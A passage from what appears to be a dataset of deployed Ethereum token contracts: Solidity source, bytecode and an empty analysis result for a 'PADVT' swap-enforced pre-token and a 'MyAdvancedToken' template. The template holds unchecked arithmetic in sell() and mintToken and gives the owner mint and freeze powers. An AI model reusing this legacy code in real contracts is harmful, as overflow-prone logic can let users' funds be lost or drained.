* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Antiderivative Pre Token
*/
contract PADVT is StandardToken, Ownable {
string public constant name = "Antiderivative Pre Token"; // solium-disable-line uppercase
string public constant symbol = "PADVT"; // solium-disable-line uppercase
uint8 public constant decimals = 0; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 10000000000;
uint256 public swapTime;
address public swapAddr;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Reverts if swap must be enforced and `_to` is not the swap address.
*/
modifier onlyBeforeSwap(address _to) {
// solium-disable-next-line security/no-block-members
if(swapTime != 0 && block.timestamp >= swapTime) require(_to == swapAddr);
_;
}
/**
* @dev Set the enforced swap time and address
* @param _addr address The address to send tokens for the swap with main token
* @param _tstamp uint256 The time when the swap will be enforced
*/
function setSwap(address _addr, uint256 _tstamp) public onlyOwner {
swapAddr = _addr;
swapTime = _tstamp;
}
/**
* @dev Transfer tokens from one address to another before swap
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public onlyBeforeSwap(_to)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
/**
* @dev transfer token for a specified address before swap
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value)
public onlyBeforeSwap(_to)
returns (bool) {
return super.transfer(_to,_value);
}
} | 0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d1578063661884631461030257806370a0823114610367578063715018a6146103be5780637ec72d3c146103d55780637fb181c1146104225780638da5cb5b1461044d57806395d89b41146104a4578063a9059cbb14610534578063c2f137f114610599578063d73dd623146105f0578063dd62ed3e14610655578063f2fde38b146106cc575b600080fd5b34801561010d57600080fd5b5061011661070f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610748565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b61083a565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610844565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb6108d3565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e66108dc565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e1565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b506103a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b72565b6040518082815260200191505060405180910390f35b3480156103ca57600080fd5b506103d3610bba565b005b3480156103e157600080fd5b50610420600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cbf565b005b34801561042e57600080fd5b50610437610d67565b6040518082815260200191505060405180910390f35b34801561045957600080fd5b50610462610d6d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b057600080fd5b506104b9610d93565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f95780820151818401526020810190506104de565b50505050905090810190601f1680156105265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054057600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dcc565b604051808215151515815260200191505060405180910390f35b3480156105a557600080fd5b506105ae610e59565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105fc57600080fd5b5061063b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e7f565b604051808215151515815260200191505060405180910390f35b34801561066157600080fd5b506106b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061107b565b6040518082815260200191505060405180910390f35b3480156106d857600080fd5b5061070d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611102565b005b6040805190810160405280601881526020017f416e7469646572697661746976652050726520546f6b656e000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008260006004541415801561085c57506004544210155b156108be57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156108bd57600080fd5b5b6108c985858561125a565b9150509392505050565b6402540be40081565b600081565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156109f2576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a86565b610a05838261161490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1b57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806004819055505050565b60045481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f504144565400000000000000000000000000000000000000000000000000000081525081565b600082600060045414158015610de457506004544210155b15610e4657600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610e4557600080fd5b5b610e50848461162d565b91505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f1082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561119a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561129757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112e457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561136f57600080fd5b6113c0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611453826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561162257fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561166a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116b757600080fd5b611708826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000818301905082811015151561185f57fe5b809050929150505600a165627a7a72305820f77dfdef7e9b2bf3b0fa09350ef17c74864a9dce2b336f239ff4a8ef804d4fd30029 | {"success": true, "error": null, "results": {}} | 10,574 |
0x43E07AD049CB3427737A28786DbCB6cE882052Ff | pragma solidity ^0.4.24;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
address myAddress = this;
require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | 0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610164578063095ea7b3146101f457806318160ddd1461025957806323b872dd14610284578063313ce5671461030957806342966c681461033a5780634b7503341461037f57806370a08231146103aa57806379c650681461040157806379cc67901461044e5780638620410b146104b35780638da5cb5b146104de57806395d89b4114610535578063a6f2ae3a146105c5578063a9059cbb146105cf578063b414d4b614610634578063cae9ca511461068f578063dd62ed3e1461073a578063e4849b32146107b1578063e724529c146107de578063f2fde38b1461082d575b600080fd5b34801561013957600080fd5b506101626004803603810190808035906020019092919080359060200190929190505050610870565b005b34801561017057600080fd5b506101796108dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061097b565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a08565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b506102ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0e565b604051808215151515815260200191505060405180910390f35b34801561031557600080fd5b5061031e610b3b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034657600080fd5b5061036560048036038101908080359060200190929190505050610b4e565b604051808215151515815260200191505060405180910390f35b34801561038b57600080fd5b50610394610c52565b6040518082815260200191505060405180910390f35b3480156103b657600080fd5b506103eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c58565b6040518082815260200191505060405180910390f35b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c70565b005b34801561045a57600080fd5b50610499600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610de1565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104c8610ffb565b6040518082815260200191505060405180910390f35b3480156104ea57600080fd5b506104f3611001565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054157600080fd5b5061054a611026565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058a57808201518184015260208101905061056f565b50505050905090810190601f1680156105b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105cd6110c4565b005b3480156105db57600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b604051808215151515815260200191505060405180910390f35b34801561064057600080fd5b50610675600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110fb565b604051808215151515815260200191505060405180910390f35b34801561069b57600080fd5b50610720600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061111b565b604051808215151515815260200191505060405180910390f35b34801561074657600080fd5b5061079b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129e565b6040518082815260200191505060405180910390f35b3480156107bd57600080fd5b506107dc600480360381019080803590602001909291905050506112c3565b005b3480156107ea57600080fd5b5061082b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061134c565b005b34801561083957600080fd5b5061086e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108cb57600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109735780601f1061094857610100808354040283529160200191610973565b820191906000526020600020905b81548152906001019060200180831161095657829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a9b57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610b3084848461150f565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b9e57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ccb57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e3157600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ebc57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110bc5780601f10611091576101008083540402835291602001916110bc565b820191906000526020600020905b81548152906001019060200180831161109f57829003601f168201915b